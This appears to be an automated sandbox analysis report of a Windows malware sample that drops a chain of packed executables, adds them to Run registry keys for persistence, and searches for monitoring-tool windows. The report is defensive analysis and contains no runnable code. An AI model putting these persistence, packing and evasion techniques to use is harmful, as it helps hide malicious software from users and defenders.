Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Section loaded: ondemandconnroutehelper.dll

Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 2964480 > 1048576

Source: file.exe

Static PE information: Raw size of udbvbywm is bigger than: 0x100000 < 0x2aa600

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Unpacked PE file: 4.2.KGMUJDGOAL6LWD7UD45LIZ.exe.d80000.0.unpack :EW;.rsrc:W;.idata :W; :EW;evwdyikk:EW;ewgqkdfw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;evwdyikk:EW;ewgqkdfw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe	Unpacked PE file: 5.2.2SGVUOBNN8HUJ5IDUWDR.exe.450000.0.unpack :EW;.rsrc :W;.idata :W; :EW;yuntpzro:EW;dfroebje:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;yuntpzro:EW;dfroebje:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 9.2.skotes.exe.610000.0.unpack :EW;.rsrc:W;.idata :W; :EW;evwdyikk:EW;ewgqkdfw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;evwdyikk:EW;ewgqkdfw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 10.2.skotes.exe.610000.0.unpack :EW;.rsrc:W;.idata :W; :EW;evwdyikk:EW;ewgqkdfw:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;evwdyikk:EW;ewgqkdfw:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Unpacked PE file: 28.2.a4769912c1.exe.ec0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;yuntpzro:EW;dfroebje:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;yuntpzro:EW;dfroebje:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Unpacked PE file: 32.2.7617eef03d.exe.310000.0.unpack :EW;.rsrc :W;.idata :W; :EW;yuntpzro:EW;dfroebje:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;yuntpzro:EW;dfroebje:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Unpacked PE file: 34.2.a4769912c1.exe.ec0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;yuntpzro:EW;dfroebje:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;yuntpzro:EW;dfroebje:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Unpacked PE file: 37.2.48bf814d33.exe.2a0000.0.unpack :EW;.rsrc :W;.idata :W;udbvbywm:EW;kynijqbn:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;udbvbywm:EW;kynijqbn:EW;.taggant:EW;

Source: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe

Code function: 6_2_001B42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

6_2_001B42DE

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: 9b7d422018.exe.26.dr	Static PE information: real checksum: 0x2dc17d should be: 0x2db0d7
Source: 66c6d84346.exe.26.dr	Static PE information: real checksum: 0x2dc17d should be: 0x2db0d7
Source: OCYPTLCO9AJSRPZ2BR0OXVLD.exe.27.dr	Static PE information: real checksum: 0x1cf6b3 should be: 0x1d59e5
Source: 9ZQAVS2HIFCJRZ8VYRAJ0X35HFUX.exe.30.dr	Static PE information: real checksum: 0x1cf6b3 should be: 0x1d59e5
Source: 20b68761b3.exe.26.dr	Static PE information: real checksum: 0x2dc17d should be: 0x2db0d7
Source: 768041f87c.exe.26.dr	Static PE information: real checksum: 0x1cf6b3 should be: 0x1d59e5
Source: KGMUJDGOAL6LWD7UD45LIZ.exe.0.dr	Static PE information: real checksum: 0x1d85d5 should be: 0x1d24ac
Source: 2SGVUOBNN8HUJ5IDUWDR.exe.0.dr	Static PE information: real checksum: 0x1cf6b3 should be: 0x1d59e5
Source: a4769912c1.exe.26.dr	Static PE information: real checksum: 0x1cf6b3 should be: 0x1d59e5
Source: 48bf814d33.exe.26.dr	Static PE information: real checksum: 0x2dc17d should be: 0x2db0d7
Source: skotes.exe.4.dr	Static PE information: real checksum: 0x1d85d5 should be: 0x1d24ac
Source: random[1].exe.26.dr	Static PE information: real checksum: 0x2dc17d should be: 0x2db0d7
Source: file.exe	Static PE information: real checksum: 0x2dc17d should be: 0x2db0d7
Source: random[1].exe0.26.dr	Static PE information: real checksum: 0x1cf6b3 should be: 0x1d59e5
Source: GA69253C3MXNERTO3N2QC0.exe.27.dr	Static PE information: real checksum: 0x1d85d5 should be: 0x1d24ac
Source: 7617eef03d.exe.26.dr	Static PE information: real checksum: 0x1cf6b3 should be: 0x1d59e5
Source: PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe.30.dr	Static PE information: real checksum: 0x1d85d5 should be: 0x1d24ac
Source: B9LAVL77AEHW335N4SC7G6A3335WY1I.exe.31.dr	Static PE information: real checksum: 0x1d85d5 should be: 0x1d24ac
Source: 572c19a989.exe.26.dr	Static PE information: real checksum: 0x1cf6b3 should be: 0x1d59e5

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: udbvbywm
Source: file.exe	Static PE information: section name: kynijqbn
Source: file.exe	Static PE information: section name: .taggant
Source: KGMUJDGOAL6LWD7UD45LIZ.exe.0.dr	Static PE information: section name:
Source: KGMUJDGOAL6LWD7UD45LIZ.exe.0.dr	Static PE information: section name: .idata
Source: KGMUJDGOAL6LWD7UD45LIZ.exe.0.dr	Static PE information: section name:
Source: KGMUJDGOAL6LWD7UD45LIZ.exe.0.dr	Static PE information: section name: evwdyikk
Source: KGMUJDGOAL6LWD7UD45LIZ.exe.0.dr	Static PE information: section name: ewgqkdfw
Source: KGMUJDGOAL6LWD7UD45LIZ.exe.0.dr	Static PE information: section name: .taggant
Source: 2SGVUOBNN8HUJ5IDUWDR.exe.0.dr	Static PE information: section name:
Source: 2SGVUOBNN8HUJ5IDUWDR.exe.0.dr	Static PE information: section name: .rsrc
Source: 2SGVUOBNN8HUJ5IDUWDR.exe.0.dr	Static PE information: section name: .idata
Source: 2SGVUOBNN8HUJ5IDUWDR.exe.0.dr	Static PE information: section name:
Source: 2SGVUOBNN8HUJ5IDUWDR.exe.0.dr	Static PE information: section name: yuntpzro
Source: 2SGVUOBNN8HUJ5IDUWDR.exe.0.dr	Static PE information: section name: dfroebje
Source: 2SGVUOBNN8HUJ5IDUWDR.exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.4.dr	Static PE information: section name:
Source: skotes.exe.4.dr	Static PE information: section name: .idata
Source: skotes.exe.4.dr	Static PE information: section name:
Source: skotes.exe.4.dr	Static PE information: section name: evwdyikk
Source: skotes.exe.4.dr	Static PE information: section name: ewgqkdfw
Source: skotes.exe.4.dr	Static PE information: section name: .taggant
Source: gmpopenh264.dll.tmp.21.dr	Static PE information: section name: .rodata
Source: random[1].exe.26.dr	Static PE information: section name:
Source: random[1].exe.26.dr	Static PE information: section name: .rsrc
Source: random[1].exe.26.dr	Static PE information: section name: .idata
Source: random[1].exe.26.dr	Static PE information: section name: udbvbywm
Source: random[1].exe.26.dr	Static PE information: section name: kynijqbn
Source: random[1].exe.26.dr	Static PE information: section name: .taggant
Source: 9b7d422018.exe.26.dr	Static PE information: section name:
Source: 9b7d422018.exe.26.dr	Static PE information: section name: .rsrc
Source: 9b7d422018.exe.26.dr	Static PE information: section name: .idata
Source: 9b7d422018.exe.26.dr	Static PE information: section name: udbvbywm
Source: 9b7d422018.exe.26.dr	Static PE information: section name: kynijqbn
Source: 9b7d422018.exe.26.dr	Static PE information: section name: .taggant
Source: random[1].exe0.26.dr	Static PE information: section name:
Source: random[1].exe0.26.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.26.dr	Static PE information: section name: .idata
Source: random[1].exe0.26.dr	Static PE information: section name:
Source: random[1].exe0.26.dr	Static PE information: section name: yuntpzro
Source: random[1].exe0.26.dr	Static PE information: section name: dfroebje
Source: random[1].exe0.26.dr	Static PE information: section name: .taggant
Source: a4769912c1.exe.26.dr	Static PE information: section name:
Source: a4769912c1.exe.26.dr	Static PE information: section name: .rsrc
Source: a4769912c1.exe.26.dr	Static PE information: section name: .idata
Source: a4769912c1.exe.26.dr	Static PE information: section name:
Source: a4769912c1.exe.26.dr	Static PE information: section name: yuntpzro
Source: a4769912c1.exe.26.dr	Static PE information: section name: dfroebje
Source: a4769912c1.exe.26.dr	Static PE information: section name: .taggant
Source: 48bf814d33.exe.26.dr	Static PE information: section name:
Source: 48bf814d33.exe.26.dr	Static PE information: section name: .rsrc
Source: 48bf814d33.exe.26.dr	Static PE information: section name: .idata
Source: 48bf814d33.exe.26.dr	Static PE information: section name: udbvbywm
Source: 48bf814d33.exe.26.dr	Static PE information: section name: kynijqbn
Source: 48bf814d33.exe.26.dr	Static PE information: section name: .taggant
Source: 7617eef03d.exe.26.dr	Static PE information: section name:
Source: 7617eef03d.exe.26.dr	Static PE information: section name: .rsrc
Source: 7617eef03d.exe.26.dr	Static PE information: section name: .idata
Source: 7617eef03d.exe.26.dr	Static PE information: section name:
Source: 7617eef03d.exe.26.dr	Static PE information: section name: yuntpzro
Source: 7617eef03d.exe.26.dr	Static PE information: section name: dfroebje
Source: 7617eef03d.exe.26.dr	Static PE information: section name: .taggant
Source: 20b68761b3.exe.26.dr	Static PE information: section name:
Source: 20b68761b3.exe.26.dr	Static PE information: section name: .rsrc
Source: 20b68761b3.exe.26.dr	Static PE information: section name: .idata
Source: 20b68761b3.exe.26.dr	Static PE information: section name: udbvbywm
Source: 20b68761b3.exe.26.dr	Static PE information: section name: kynijqbn
Source: 20b68761b3.exe.26.dr	Static PE information: section name: .taggant
Source: 572c19a989.exe.26.dr	Static PE information: section name:
Source: 572c19a989.exe.26.dr	Static PE information: section name: .rsrc
Source: 572c19a989.exe.26.dr	Static PE information: section name: .idata
Source: 572c19a989.exe.26.dr	Static PE information: section name:
Source: 572c19a989.exe.26.dr	Static PE information: section name: yuntpzro
Source: 572c19a989.exe.26.dr	Static PE information: section name: dfroebje
Source: 572c19a989.exe.26.dr	Static PE information: section name: .taggant
Source: 66c6d84346.exe.26.dr	Static PE information: section name:
Source: 66c6d84346.exe.26.dr	Static PE information: section name: .rsrc
Source: 66c6d84346.exe.26.dr	Static PE information: section name: .idata
Source: 66c6d84346.exe.26.dr	Static PE information: section name: udbvbywm
Source: 66c6d84346.exe.26.dr	Static PE information: section name: kynijqbn
Source: 66c6d84346.exe.26.dr	Static PE information: section name: .taggant
Source: 768041f87c.exe.26.dr	Static PE information: section name:
Source: 768041f87c.exe.26.dr	Static PE information: section name: .rsrc
Source: 768041f87c.exe.26.dr	Static PE information: section name: .idata
Source: 768041f87c.exe.26.dr	Static PE information: section name:
Source: 768041f87c.exe.26.dr	Static PE information: section name: yuntpzro
Source: 768041f87c.exe.26.dr	Static PE information: section name: dfroebje
Source: 768041f87c.exe.26.dr	Static PE information: section name: .taggant
Source: GA69253C3MXNERTO3N2QC0.exe.27.dr	Static PE information: section name:
Source: GA69253C3MXNERTO3N2QC0.exe.27.dr	Static PE information: section name: .idata
Source: GA69253C3MXNERTO3N2QC0.exe.27.dr	Static PE information: section name:
Source: GA69253C3MXNERTO3N2QC0.exe.27.dr	Static PE information: section name: evwdyikk
Source: GA69253C3MXNERTO3N2QC0.exe.27.dr	Static PE information: section name: ewgqkdfw
Source: GA69253C3MXNERTO3N2QC0.exe.27.dr	Static PE information: section name: .taggant
Source: OCYPTLCO9AJSRPZ2BR0OXVLD.exe.27.dr	Static PE information: section name:
Source: OCYPTLCO9AJSRPZ2BR0OXVLD.exe.27.dr	Static PE information: section name: .rsrc
Source: OCYPTLCO9AJSRPZ2BR0OXVLD.exe.27.dr	Static PE information: section name: .idata
Source: OCYPTLCO9AJSRPZ2BR0OXVLD.exe.27.dr	Static PE information: section name:
Source: OCYPTLCO9AJSRPZ2BR0OXVLD.exe.27.dr	Static PE information: section name: yuntpzro
Source: OCYPTLCO9AJSRPZ2BR0OXVLD.exe.27.dr	Static PE information: section name: dfroebje
Source: OCYPTLCO9AJSRPZ2BR0OXVLD.exe.27.dr	Static PE information: section name: .taggant
Source: PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe.30.dr	Static PE information: section name:
Source: PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe.30.dr	Static PE information: section name: .idata
Source: PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe.30.dr	Static PE information: section name:
Source: PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe.30.dr	Static PE information: section name: evwdyikk
Source: PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe.30.dr	Static PE information: section name: ewgqkdfw
Source: PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe.30.dr	Static PE information: section name: .taggant
Source: 9ZQAVS2HIFCJRZ8VYRAJ0X35HFUX.exe.30.dr	Static PE information: section name:
Source: 9ZQAVS2HIFCJRZ8VYRAJ0X35HFUX.exe.30.dr	Static PE information: section name: .rsrc
Source: 9ZQAVS2HIFCJRZ8VYRAJ0X35HFUX.exe.30.dr	Static PE information: section name: .idata
Source: 9ZQAVS2HIFCJRZ8VYRAJ0X35HFUX.exe.30.dr	Static PE information: section name:
Source: 9ZQAVS2HIFCJRZ8VYRAJ0X35HFUX.exe.30.dr	Static PE information: section name: yuntpzro
Source: 9ZQAVS2HIFCJRZ8VYRAJ0X35HFUX.exe.30.dr	Static PE information: section name: dfroebje
Source: 9ZQAVS2HIFCJRZ8VYRAJ0X35HFUX.exe.30.dr	Static PE information: section name: .taggant
Source: B9LAVL77AEHW335N4SC7G6A3335WY1I.exe.31.dr	Static PE information: section name:
Source: B9LAVL77AEHW335N4SC7G6A3335WY1I.exe.31.dr	Static PE information: section name: .idata
Source: B9LAVL77AEHW335N4SC7G6A3335WY1I.exe.31.dr	Static PE information: section name:
Source: B9LAVL77AEHW335N4SC7G6A3335WY1I.exe.31.dr	Static PE information: section name: evwdyikk
Source: B9LAVL77AEHW335N4SC7G6A3335WY1I.exe.31.dr	Static PE information: section name: ewgqkdfw
Source: B9LAVL77AEHW335N4SC7G6A3335WY1I.exe.31.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181ABC push esi; retf 0020h	0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181ABC push esi; retf 0020h	0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181ABC push esi; retf 0020h	0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011818B4 push esi; retf 0020h	0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011818B4 push esi; retf 0020h	0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011818B4 push esi; retf 0020h	0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181ABC push esi; retf 0020h	0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181ABC push esi; retf 0020h	0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181ABC push esi; retf 0020h	0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011818B4 push esi; retf 0020h	0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011818B4 push esi; retf 0020h	0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011818B4 push esi; retf 0020h	0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181ABC push esi; retf 0020h	0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181ABC push esi; retf 0020h	0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181ABC push esi; retf 0020h	0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011818B4 push esi; retf 0020h	0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011818B4 push esi; retf 0020h	0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011818B4 push esi; retf 0020h	0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181ABC push esi; retf 0020h	0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181ABC push esi; retf 0020h	0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181ABC push esi; retf 0020h	0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011818B4 push esi; retf 0020h	0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011818B4 push esi; retf 0020h	0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011818B4 push esi; retf 0020h	0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181ABC push esi; retf 0020h	0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181ABC push esi; retf 0020h	0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181ABC push esi; retf 0020h	0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011818B4 push esi; retf 0020h	0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011818B4 push esi; retf 0020h	0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_011818B4 push esi; retf 0020h	0_3_01181AF3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_01181ABC push esi; retf 0020h	0_3_01181AF3

Source: file.exe	Static PE information: section name: entropy: 7.978374848132016
Source: KGMUJDGOAL6LWD7UD45LIZ.exe.0.dr	Static PE information: section name: entropy: 7.981808784946074
Source: KGMUJDGOAL6LWD7UD45LIZ.exe.0.dr	Static PE information: section name: evwdyikk entropy: 7.954269809468136
Source: 2SGVUOBNN8HUJ5IDUWDR.exe.0.dr	Static PE information: section name: yuntpzro entropy: 7.954094538527286
Source: skotes.exe.4.dr	Static PE information: section name: entropy: 7.981808784946074
Source: skotes.exe.4.dr	Static PE information: section name: evwdyikk entropy: 7.954269809468136
Source: random[1].exe.26.dr	Static PE information: section name: entropy: 7.978374848132016
Source: 9b7d422018.exe.26.dr	Static PE information: section name: entropy: 7.978374848132016
Source: random[1].exe0.26.dr	Static PE information: section name: yuntpzro entropy: 7.954094538527286
Source: a4769912c1.exe.26.dr	Static PE information: section name: yuntpzro entropy: 7.954094538527286
Source: 48bf814d33.exe.26.dr	Static PE information: section name: entropy: 7.978374848132016
Source: 7617eef03d.exe.26.dr	Static PE information: section name: yuntpzro entropy: 7.954094538527286
Source: 20b68761b3.exe.26.dr	Static PE information: section name: entropy: 7.978374848132016
Source: 572c19a989.exe.26.dr	Static PE information: section name: yuntpzro entropy: 7.954094538527286
Source: 66c6d84346.exe.26.dr	Static PE information: section name: entropy: 7.978374848132016
Source: 768041f87c.exe.26.dr	Static PE information: section name: yuntpzro entropy: 7.954094538527286
Source: GA69253C3MXNERTO3N2QC0.exe.27.dr	Static PE information: section name: entropy: 7.981808784946074
Source: GA69253C3MXNERTO3N2QC0.exe.27.dr	Static PE information: section name: evwdyikk entropy: 7.954269809468136
Source: OCYPTLCO9AJSRPZ2BR0OXVLD.exe.27.dr	Static PE information: section name: yuntpzro entropy: 7.954094538527286
Source: PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe.30.dr	Static PE information: section name: entropy: 7.981808784946074
Source: PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe.30.dr	Static PE information: section name: evwdyikk entropy: 7.954269809468136
Source: 9ZQAVS2HIFCJRZ8VYRAJ0X35HFUX.exe.30.dr	Static PE information: section name: yuntpzro entropy: 7.954094538527286
Source: B9LAVL77AEHW335N4SC7G6A3335WY1I.exe.31.dr	Static PE information: section name: entropy: 7.981808784946074
Source: B9LAVL77AEHW335N4SC7G6A3335WY1I.exe.31.dr	Static PE information: section name: evwdyikk entropy: 7.954269809468136

Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	File created: C:\Users\user\AppData\Local\Temp\TWGY675O6RDQPKG6OE4IM311M9A2JP.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	Jump to dropped file
Source: C:\Program Files\Mozilla Firefox\firefox.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1000495001\66c6d84346.exe	Jump to dropped file
Source: C:\Program Files\Mozilla Firefox\firefox.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1000494001\572c19a989.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\4V88JM9ZW2IZ0ZQGW7B.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1000490001\a4769912c1.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1000493001\20b68761b3.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	File created: C:\Users\user\AppData\Local\Temp\9ZQAVS2HIFCJRZ8VYRAJ0X35HFUX.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1000492001\7617eef03d.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1000496001\768041f87c.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	File created: C:\Users\user\AppData\Local\Temp\GA69253C3MXNERTO3N2QC0.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\KGMUJDGOAL6LWD7UD45LIZ.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	File created: C:\Users\user\AppData\Local\Temp\B9LAVL77AEHW335N4SC7G6A3335WY1I.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000489001\9b7d422018.exe	File created: C:\Users\user\AppData\Local\Temp\OCYPTLCO9AJSRPZ2BR0OXVLD.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000491001\48bf814d33.exe	File created: C:\Users\user\AppData\Local\Temp\PNQRGRK1HGQJXXIGW87D2O4ERYK64Y.exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 7617eef03d.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 572c19a989.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 66c6d84346.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run a4769912c1.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 48bf814d33.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 768041f87c.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 20b68761b3.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 9b7d422018.exe

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
